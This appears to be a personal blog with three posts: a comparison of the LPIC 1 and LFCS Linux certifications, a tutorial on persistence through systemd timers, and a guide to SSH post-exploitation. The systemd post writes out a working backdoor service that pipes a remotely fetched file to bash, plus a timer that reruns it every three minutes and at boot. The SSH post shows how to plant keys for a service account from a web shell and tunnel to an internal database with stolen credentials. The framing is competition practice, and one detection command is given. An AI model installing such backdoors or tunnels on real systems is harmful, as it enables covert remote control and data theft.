Linux Administration Certifications: LPIC 1 and LFCS

LPIC 1 and LFCS

TLDR; The LPIC 1 and LFCS certifications can both be used to validate your skills, however the LFCS provides a robust and uniquely hands-one, testing approach.

I recently passed the LPIC 1 (Linux Professional Institute Certified System Administrator) and LFCS (Linux Foundation Certified System Administrator) certification exams. I’m now planning to pursue the LPIC 2 and LFCE certifications this coming year. Several individuals have approached me interested in hearing more about my experiences and some of big differences between the LPIC 1 and LFCS. I’ll attempt to address those questions here and also share my opinions on the perceived value in the market place today.

Big Differences

The biggest differences between the LPIC 1 and LFCS certifications, definitely come down to the testing methods they each use. The LPIC 1 is a standard multiple choice style examination, with a few fill the blank questions. The LPIC features two exams with 50 knowledge base and practical application question, over one and half hours. The LFCS on the other hand, is a interactive practical applications exam. Wherein the tester is given 40 practical multi-step tasks, within an actual Linux terminal, with two hours to complete as many as possible.

Another major difference between the LPIC 1 and LFCS is how the testing is conducted. The two LPIC 1 exams are proctored by Pearson Vue, so they take place in your standard testing center. Since it’s a standard multiple choice exam, in a standard testing center, you will receive your test results right after completing the exam. You are scored based on whether or not you select the correct answers to the exam questions and the respective weight in each of the tested categories. The LFCS is a online exam which utilizes a web cam, a screen share, a task portal, and a live connection to a Linux system to conduct the exam. Throughout the exam you have terminal access to your own Linux virtual machine, to complete your various tasks.  The entire system is graded upon completion and delays receiving your final score. Thus your score is based on whether each step of the tasks and the tasks themselves are completed correctly. Its also rumored, that points lost on one task can be recovered on others based on the methods used, cleanliness, and overall efficiency.

Difficulty Level

The difficulty level of the LPIC 1 and LFCS is heavily debated, however I think it comes down to how you study and your experience within the Linux terminal. That being said, the LPIC 1 is largely a test of base knowledge, so if one puts forth the time and effort to review some of the coursework out there, they shouldn’t have any problem completing the exam. I honestly don’t believe your experience in the Linux terminal is going to help you out anyone more then one of the official books. The exam is all about knowing the command names and what they do. On the other hand, the LFCS exam, and its largely based on weather or not you can complete a business operations related task, in a timely manner. There is no official book for the LFCS exam, although there is online coursework which introduces you to commands and then provides lab activities for completion all on your own. Having completed all of the online course work, I believe its likely sufficient to pass the exam. However I think the real world Linux experience would be quite a bit more useful during the LFSC exam, simple because your being indirectly scored on timeliness and efficiency. Addtionally, on top of having to understand what the names of commands are and what they do, one also needs to understand how to effectively use each command to successfully pass the LFSC exam. Overall I would say the LFCS is going to be far more difficult for those newer to Linux, if only because of more intimidating structure of the exam and the review of ones efficiency.

Market Value

When it comes to the market value of the LPIC 1 and LFCS certifications, I think the total value depends on your individual goals. For instances, if your goal is to get your foot in the door at a large institution, I would recommend the LPIC 1 since it has been around longer and thus has a greater chance of being recognized by a recruiter or HR. The LPIC 1 is also going to be better if your goal is to continue on and become more specialized within the Linux space. If your goal is instead to provide validation of your skills and experience to a future or current employer I would highly recommend the LFCS. In addition to the certification being run by the Linux Foundation themselves, they now have a partnership with Microsoft. This new partnership creates a great opportunity for those working within more diverse environments, by allowing for canadits to take both Linux foundation and Microsoft certifications to become specialized in mix environments and/or cloud. Overall I think if your really trying to project your worth to the market, the LPIC 1 is a better bet, simply because its been around longer and currently has more recognize then LFCS. However, I’d bet the LFCS will soon take its place at the top, due to the growing relationships being fostered by the Linux Foundation.

Honorable Mentions

Although I have not attempted these exams, because they are distribution specific, the OCA (Oracle Certified Administrator) and the RHCSA (Red Hat Certified System Administrator) both seem to have more visibility in the market place. This is likely due to the huge brand recognition associated with these respective certifications. If your already employed with an organization that mostly utilizes either of these distributions, they may provide more bang for your buck.

Establishing Persistence with systemd.timers

With the push to covert all of our old init style processes managers to the new cutting-edge systemd, comes a whole new set of security concerns. In several recent competitions, I was able to establish persistence with systemd.timer units. Timer units are designed to run repetitive tasks on behalf of an existing service. This is normally used to establish service watchers, in case a service were to hang of crash. However, we can take advantage of this build-in core functionality to establish near-kernel level persistence with systemd.timers. As an added bonus, it’s a bit more difficult to find then a crontab and there are several tools that can convert existing crontabs to systemd.timers.

In order to take advantage of persistence with systemd.timers, we just need write access to the /etc/systemd/system/ or /usr/lib/systemd/system/ directory. With a user with write access, normally only root, we can create a service unit file and a timer unit file. Once the files are created, we can register the timer unit with systemd and it will execute our service unit, per our timer unit schedule. Timer units can even be registered with systemd to be started at boot automatically, to maintain persistence through reboots.

Example persistence with systemd.timers

To establish persistence with systemd.timers, we first need to create a service unit. In this case I created a file called /etc/systemd/system/backdoor.service, which would connect to a web server and execute a the given command.

[Unit]
Description=Backdoor

[Service]
Type=simple
ExecStart=curl --insecure https://127.0.0.1/cmd.txt|bash

Next I created a timer unit that launches my backdoor.service every 3 mins, to execute my latest CnC commands. The following is the contents of the file, /etc/systemd/system/backdoor.timer, which I used throughout the CCDC competitions.

[Unit]
Description=Runs backdoor ever 3 mins

[Timer]
OnBootSec=5min
OnUnitActiveSec=3min
Unit=backdoor.service

[Install]
WantedBy=multi-user.target

Once those two files are created within one of the systemd unit directories, we can simple establish the persistence with systemd.timer, by starting the unit timer.

systemctl start backdoor.timer

Then to ensure the timer is automatically started a boot, tell systemd to enable the timer unit at startup.

systemctl enable backdoor.timer

As far as I can tell from my research, there isn’t any easy way to detect these types of backdoors. However, in the CCDC competition space, I highly recommend running a command like the following in a screen to identify changes to timer units.

watch -d systemctl list-timers

Example persistence with Single Service Unit

The alterative is to have a single service unit that takes advantage of an exit code of 0; to continuously restart. Bellow is an example of such a service unit file, that will just restart every 3 mins and also execute our CnC command.

[Service]
Type=simple
ExecStart=curl --insecure https://127.0.0.1/cmd.txt|bash; exit 0
Restart=always
RestartSec=180

For more detailed information see the full documentation at: https://www.freedesktop.org/software/systemd/man/ or through your local man pages.

So You Got a Shell: SSH for Linux Post Exploitation

So you worked hard to find that cool web application exploit and got a shell on the box. Many people not so familiar with the Linux operating system, quickly find themselves throwing there hand in the air and saying; Now what do I do? By popular demand, this is a list of some of my favorite SSH for Linux Post Exploitation techniques that I’ve used over and over in past Cyber Defense competitions and my career.

Note: I’m assuming that you will likely exploit a service level account, such as ftpd, www-data, ldapadmin, squid, apache or syslog, and not immediately have root level access on the system.

One of my overall favorites is utilizing SSH for linux post exploitation,  as a mean of developing access to systems on the internal network and to maintain access. Almost all Linux distro’s come with openssh-client baked in and many also have openssh-server set to run at startup by default. Fortunately, openssh’s config files ship with fairly basic security measures in place and expect system administrators to utilize the many additional security features, that are available, to defend systems. Most simply don’t bother.  Additionally the permissions on the /etc/ssh/ssh_conf and /etc/ssh/sshd_conf files are world readable by default. So start by just checking them out.

User$ cat /etc/ssh/ssh.conf

User$ cat /etc/ssh/sshd.conf

Within /etc/ssh/sshd_conf the default configuration allows for public file authentication; with the following line.

PubkeyAuthentication yes

This line allows for a public key to be passed to the system in order to authenticate as a specified user. This is done by adding your public key to the .ssh/authorized_keys file; under the users home directory structure. Once added you can use the simply ssh to the system, using your private key, while specifying the username.

Note: Most default system service accounts ship with /bin/false or /sbin/nologin as their default, which means ssh wont allow you to login directly via ssh.

So you are looking issued the command cat /etc/passwd and she that your user has no login shell and you say Michael this whole maintaining access with public keys in the authorized_keys file is useless to me. So how about another user of SSH for linux post exploitation; using your user to port forward into the local network over ssh?

So you get a web shell using some fancy new wordpress vulnerability and then you cat out the wp-config.php file and see that the database isn’t hosted on the local system. Now you have to pop another box to access that database right? Wrong. You can create a local port forward the the mysql port with ssh. by using the following command.

ssh -R 9000:<mysql server ip>:3306 www-data@localhost

So now maybe people are thinking of great I have to have a shell again…but www-data has /sbin/nologin! Thats fine we dont need a shell. Just follow the steps above. Use your web shell from the wordpress vulnerability to use ssh-keygen to generate the www-data users keys and .ssh directly. Then simply cat your public key into the .ssh/authorized_keys file, to give you a means of local authentication. You may not be able to get a local shell, but you can still ssh port forward by telling ssh not to use interactive login or allocate a tty with the following command.

ssh -v -nNT -R 9000:<mysql server ip>:3306 www-data@localhost

This will create an ssh tunnel that will port forward all traffic from 9000 to the mysql server on its default port. So simply issue the mysql command to connect on port 9000 and use the credentials in the wp-config.php file.

mysql -u wordpress -p -h <web server ip> -p 9000

Profit!

If you have any questions or want to know more just leave a comment or hit me up on social media.